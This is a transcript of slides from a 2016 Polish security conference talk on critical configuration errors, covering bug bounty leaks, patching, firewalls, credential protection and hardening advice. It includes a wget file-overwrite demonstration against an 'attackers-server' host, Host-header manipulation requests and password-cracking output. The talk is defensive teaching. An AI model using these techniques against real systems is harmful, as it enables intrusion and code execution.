krytyczne błędy konfiguracji

Post on 15-Apr-2017

141 Views

Category:

Technology

0 Downloads

Preview:

Click to see full reader

TRANSCRIPT

Security PWNing Conference 2016

Krytyczne błędy konfiguracji

Borys Łącki 08.11.2016

Od ponad 10 lat wykonując testy penetracyjne, testujemy bezpieczeństwo i zabezpieczamy

zasoby Klientów.

Borys Łącki - Logicaltrust

Edukacja

http://sprawdzpesel.pl

> 100 wykładów

Nasza perspektywa

● Test penetracyjny – „proces polegający na przeprowadzeniu kontrolowanego ataku na system teleinformatyczny, mający na celu praktyczną ocenę bieżącego stanu bezpieczeństwa (...)”

Wikipedia

Budowanie bezpieczeństwa

Konfiguracja

● Oddzielaj● Aktualizuj● Weryfikuj● Ograniczaj● Porządkuj● Monitoruj● Dokumentuj● Automatyzuj

Konfiguracja - cel

Ograniczanie udanych ataków

Spowalnianie atakujących

Konfiguracja

BugBounty – wyciek informacji

BugBounty – konfiguracja OAuth

BugBounty – brak separacji + hasła

username: admin and password: ???????

BugBounty – konfiguracja DNS

BugBounty – brak separacji

BugBounty – ujawnienie informacji

BugBounty – ujawnienie informacji

Security Appliance

● Brak aktualizacji● Błędna konfiguracja● Proste i stałe hasła● Stałe klucze/certyfikaty SSL (SelfSigned cert) –

podsłuchiwanie

Palo Alto - Attacking Next - Generation Firewalls

Aktualizacje – stacje robocze

Aktualizacje – stacje robocze

Aktualizacje – serwery

Aktualizacje – serweryGNU Wget < 1.18 Arbitrary File Upload / Potential Remote Code Execution

victim@trusty:~$ wget http://attackers-server/safe-file.txtResolving attackers-server... 192.168.57.1Connecting to attackers-server|192.168.57.1|:80... connected.HTTP request sent, awaiting response... 302 FoundLocation: ftp://192.168.57.1/.bash_profile [following] => .bash_profileConnecting to 192.168.57.1:21... connected.Logging in as anonymous ... Logged in!==> SYST ... done. ==> PWD ... done.==> TYPE I ... done. ==> CWD not needed.==> SIZE .bash_profile ... 55==> PASV ... done. ==> RETR .bash_profile ... done.Length: 55 (unauthoritative) .bash_profile 100%[===============================================================>] 2016-02-19 04:50:37 (1.27 MB/s) - .bash_profile saved [55]

Aktualizacje - kernel

Firewall

iptables -n -L INPUT

Chain INPUT (policy DROP)

ip6tables -n -L INPUT

Chain INPUT (policy ACCEPT)

Firewall - VLANs

Dostęp działu HR do repozytorium kodu źródłowego

VMware vSwitch – ARP spoofing

Firewall – ICMP redirect - off

Type=5, Code=1 (or Lady In The Middle)

Dorota Kulas

Firewall – ACL

https://www.youtube.com/watch?v=fRinW7SJC6QAPT x 3 - wybrane studium przypadków

Konfiguracja - Debug

Apache mod_negotiate

GET /index HTTP/1.1

Accept: xxxx/xxxx

< HTTP/1.1 406 Not Acceptable

< Alternates: {"index.html.ca" 1 {type text/html} {language ca} {length 1884}}, {"index.html.cz" 1 {type text/html} {language cs} {length 1583}}, {"index.html.de" 1 {type text/html} {language de} {length 2274}}, {"index.html.dk" 1 {type text/html} {language da} {length 1557}}, {"index.html.ee" 1 {type text/html} {language et} {length 1877}}, {"index.html.el" 1 {type text/html} {language el} {length 1677}}, {"index.html.en" 1 {type text/html} {language en} {length 2673}}, {"index.html.es" 1 {type text/html} {language es} {length 1799}}, {"index.html.fr" 1 {type text/html} {language fr} {length 1525}}, {"index.html.he.iso8859-8" 1 {type text/html} {charset iso-8859-8} {language he} {length 3706}}, {"index.html.it" 1 {type text/html} {language it} {length 1847}}, {"index.html.ja.jis" 1 {type text/html} {charset iso-2022-jp} {language ja} {length 1799}}, {"index.html.kr.iso-kr" 1 {type text/html} {charset iso-2022-kr} {language kr} {length 1333}}, {"index.html.nl" 1 {type text/html} {language nl} {length 2007}}, {"index.html.nn" 1 {type text/html} {language nn} {length 1534}}, {"index.html.no" 1 {type text/html} {language no} {length 1526}}, {"index.html.po.iso-pl" 1 {type text/html} {charset iso-8859-2} {language pl} {length 1497}}, {"index.html.pt" 1 {type text/html} {language pt} {length 1842}}, {"index.html.pt-br" 1 {type text/html} {language pt-br} {length 2035}}, {"index.html.ru.cp-1251" 1 {type text/html} {charset windows-1251} {language ru} {length 1591}}, {"index.html.ru.cp866" 1 {type text/html} {charset cp866} {language ru} {length 1585}}, {"index.html.ru.iso-ru" 1 {type text/html} {charset iso-8859-5} {language ru} {length 1589}}, {"index.html.ru.koi8-r" 1 {type text/html} {charset koi8-r} {language ru} {length 1585}}, {"index.html.ru.ucs2" 1 {type text/html} {charset ucs-2} {language ru} {length 3134}}, {"index.html.ru.ucs4" 1 {type text/html} {charset ucs-4} {language ru} {length 6268}}, {"index.html.ru.utf8" 1 {type text/html} {charset utf-8} {language ru} {length 2318}}, {"index.html.zh-tw.big5" 1 {type text/html} {charset big5} {language zh-tw} {length 1062}}

< Vary: negotiate,accept-language,accept-charset

IIS

Deploy IIS with 8.3 names disabled

https://github.com/irsdl/IIS-ShortName-Scanner

SSL / TLS

Web Application Firewall

Zbędne zasoby

Zbędne zasoby

Zbędne zasoby

ls -ltr /tmp/

-rw-r--r-- 1 root root 7077888 mar 15 2016 sqldump.tar.bz2

drwx------ 2 root root 4096 kwi 3 2016 gpg-oqFS5S

-rw-r--r-- 1 root root 12189696 maj 29 00:00 database.pgsql.gz

drwx------ 2 root root 4096 wrz 12 00:00 lu9eqlt2.tmp

-rw------- 1 root root 0 paź 14 08:41 config-err-97zpmD

Zbędne zasoby

Proxy, Vhost, Load Balancer

● Host: 127.0.0.1

● Host: test

● GET@inna.domena.com/ HTTP/1.1http://pliki.domena.com@inna.domena.com/

Algorytmy haseł./john .htaccess-bcrypt Loaded 1 password hash (OpenBSD Blowfish [32/64 X2])

c/s: 1412 > 4 lata

./john .htaccess-crypt Loaded 1 password hash (Traditional DES [128/128 BS SSE2-16])

c/s: 2907K 19 godzin

USB – Rubber Ducky

http://usbrubberducky.com

USB Ethernet + Responder == Creds

https://room362.com/post/2016/snagging-creds-from-locked-machines/

Logowanie

Active Directory● LAN Manager authentication level: Send NTLMv2 response only. Refuse LM & NTLM

● Microsoft network server: Digitally sign communication (always): Enabled

● Network access: Do not allow anonymous enumeration of SAM accounts and shares: Enabled

Securing Domain Controllers to Improve Active Directory Security

https://adsecurity.org/?p=3377

Windows Workstation

Windows Workstation

Windows Workstation

Windows Workstation - EMET

Windows Workstation● Disable WPAD● Disable LLMNR● Disable Microsoft Office Macros● Disable Microsoft Office OLE

Securing Windows Workstations: Developing a Secure Baseline

https://adsecurity.org/?p=3299

Zarządzanie danymi

Zbędne zasoby i informacje

Zbędne usługi

GIT repository

Hasło „na moment”

SECURE 2016 – Łukasz Siewierski – Mój serwer jest chory!

Błędne uprawnienia

ls -ltr /etc/cron.daily/

-rwxr-xr-x 1 root root 15481 paź 28 2014 apt

-rwxr-xr-x 1 root root 625 lip 22 2014 apache2

-rwxr-xr-x 1 root root 123 sty 29 2014 tripwire

-rwxrwxrwx 1 root root 173 kwi 9 2016 database_update.sh

Błędne uprawnienia

-rw-r--r-- 1 root mlocate 20635027 lis 4 12:26 /var/lib/mlocate/mlocate.db

Opowieści z krypty – hosting w PL

Na tym serwerze byl calkowity brak miejsca na partycjach i system krytycznych analiz musial usunac kilka kopii zapasowych

userow aby serwer dzialal bedziemy zmieniac macierz dyskowa na tym serwerze

na wieksza aby nikomu nie brakowalo miejsca na ta chwile przepraszamy za sytuacje i dodamy 1 miesiac gratis

hostingu za to

Opowieści z krypty - porządek<xxx> kurwa prawie zawału dostałem<xxx> wpadam sprawdzić, czy się dobrze backup zrobił<xxx> patrzę, jest<xxx> ale daty się nie zgadzają<xxx> ostatni backup 04.2015<xxx> ciśnienie mi się podniosło<xxx> szukam patrzę<xxx> a to stary serwer backupu<xxx> nie zgasiliśmy go<xxx> i sobie stoi<xxx> ja pierdolę :)

Opowieści z krypty - sieć

<xxx> a to ja kiedys dawno temu przeczytalem gdzies<xxx> ze hackerzy beda robic konkurs w internecie kto wiecej stron zdefacuje<xxx> wiec chcialem zabezpieczyc swoj serwer<xxx> zalogowalem sie zdalnie<xxx> dalem iptables -P INPUT DROP<xxx> ... i byl bezpiecznie :)

Opowieści z krypty - procesy

<yyy> uy mnie w robocie gosc puscil TRUNCATE bazy na produkcji wklejajac sql z neta bez sprawdzenia

<xxx> u mnie puscil update tylko zapomnial dac where :D

● Polityka haseł (2FA)● Aktualizacje systemów i aplikacji● Segmentacja sieci (IPv4+IPv6)● Szyfrowanie danych i transmisji

● Testy bezpieczeństwa● Porządek – OS, Sieć, Urządzenia● Ograniczenia kont (Administratorów)● CIS Benchmark, NIST Security Checklist● Zautomatyzowane testy bezpieczeństwa

Obrona

● Oddzielaj - sieci● Aktualizuj - oprogramowanie● Weryfikuj - ustawienia● Ograniczaj - uprawnienia● Porządkuj - systemy● Monitoruj - zasoby● Dokumentuj - procesy● Automatyzuj

Narzędzia - Lynis

Narzędzia

Materiały dodatkowe● Narzędzia do zautomatyzowanego testowania bezpieczeństwa

https://www.youtube.com/watch?v=9zgH7wHv_V0

● OWASP Top10 Najpopularniejsze błędy bezpieczeństwa aplikacji WWW

https://www.youtube.com/watch?v=hOAc5vUKrqA

● Podstawowy arsenał testera bezpieczeństwa aplikacji WWW

https://www.youtube.com/watch?v=F1COxOJyM7o

● APT x 3 - wybrane studium przypadków

https://www.youtube.com/watch?v=fRinW7SJC6Q

● The Security Checklist

https://github.com/FallibleInc/security-guide-for-developers/blob/master/security-checklist.md

https://zaufanatrzeciastrona.plhttp://sekurak.pl/http://niebezpiecznik.plhttp://bothunters.pl

https://benchmarks.cisecurity.org/downloads/form/index.cfm?download=docker16.100https://github.com/docker/docker-bench-security

https://hackerone.com/reports/143482https://hackerone.com/reports/116504https://hackerone.com/reports/128114https://hackerone.com/reports/136891https://hackerone.com/reports/143438https://hackerone.com/reports/126099https://hackerone.com/reports/149679https://avicoder.me/2016/07/22/Twitter-Vine-Source-code-dump/

https://zaufanatrzeciastrona.pl/post/jak-w-latwy-sposob-zainfekowac-17-000-komputerow-programistow/

https://github.com/irsdl/iis-shortname-scanner/

https://jenkins.io/blog/2015/11/06/mitigating-unauthenticated-remote-code-execution-0-day-in-jenkins-cli/http://blog.saynotolinux.com/blog/2016/08/15/jetbrains-ide-remote-code-execution-and-local-file-disclosure-vulnerability-analysis/

http://sprawdzpesel.pl

https://quiz.securityinside.pl/quiz/start?id=1

https://quiz.securityinside.pl/quiz/start?id=2

http://www.slideshare.net/logicaltrust

Ikony: https://www.iconfinder.com/Vecteezy

Materiały dodatkowe

https://z3s.pl/szkolenia/

Atak i obrona:● Bezpieczeństwo aplikacji WWW● Bezpieczeństwo aplikacji mobilnych

-20%Obowiązuje 31.337 dni

Hasło: ITPWN16

Szkolenia – rabat

Dziękuję za uwagę

Borys Łącki

b.lacki@logicaltrust.net

Pytania

top related